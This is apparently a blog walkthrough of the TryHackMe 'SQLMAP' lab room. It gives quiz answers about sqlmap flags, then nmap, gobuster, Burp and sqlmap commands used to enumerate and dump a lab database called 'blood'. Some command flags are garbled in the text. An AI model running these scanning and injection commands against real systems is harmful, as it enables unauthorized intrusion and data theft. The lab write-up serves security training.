SQLMAP Room Walkthrough TryHackMe

There are a lot of ways to detect the SQL Injection vulnerability; one of these ways is using automated tools like SQLMap.

Get Abdelrahman Ahmed’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Here is the official link for the room. 🔗

Introduction

What is sqlmap?

• sqlmap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying and executing commands on the operating system via out-of-band connections.

Installing sqlmap

• If you’re using Kali , sqlmap is pre-installed. Otherwise, you can download it here: https://github.com/sqlmapproject/sqlmap

Using Sqlmap

• Getting the help page:

sqlmap -h

• Basic commands:

basic commands list

Questions’ Answers

• Which flag or option will allow you to add a URL to the command? -u
• Which flag would you use to add data to a POST request? — data
• There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack? -p username
• Which flag would you use to show the advanced help menu? -hh
• Which flag allows you to retrieve everything? -a
• Which flag allows you to select the database name? -d
• Which flag would you use to retrieve database tables? — tables
• Which flag allows you to retrieve a table’s columns? — columns
• Which flag allows you to dump all the database table entries? — dump-all
• Which flag will give you an interactive SQL Shell prompt? — sql-shell
• You know the current db type is ‘MYSQL’. Which flag allows you to enumerate only MySQL databases? — dbms=mysql

SQLMap Challenge

• Once we deployed the machine successfully, we run a usual nmap scan with this command:

nmap -sV -sC -Pn -p- 10.112.156.225

• Then, we visited the website and found this page:

• After that we did some enumertion on the directories using gobuster on the target machine, using this command:

gobuster dir -u 10.112.156.225/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Q1: What is the name of the interesting directory? blood

• When we go to http://10.112.156.225/blood, I got this web page:

• I clicked on the Login button while Burp was intercepting the requests and saved the request.

saved as sqlmap.txt

• Now, we run this command for flag:

sqlmap -r <file_name> — current-user

• Then running this:

sqlmap -r /home/kali/test/sqlmap.txt -D blood — tables — batch

we found tables

• so we will run:

sqlmap -r <file_name> -D blood -T flag — columns

• For getting the flag itself:

sqlmap -r <file_name> -D blood -T -C flag,id — dump-all

• Thank you for reading; hope you all enjoyed.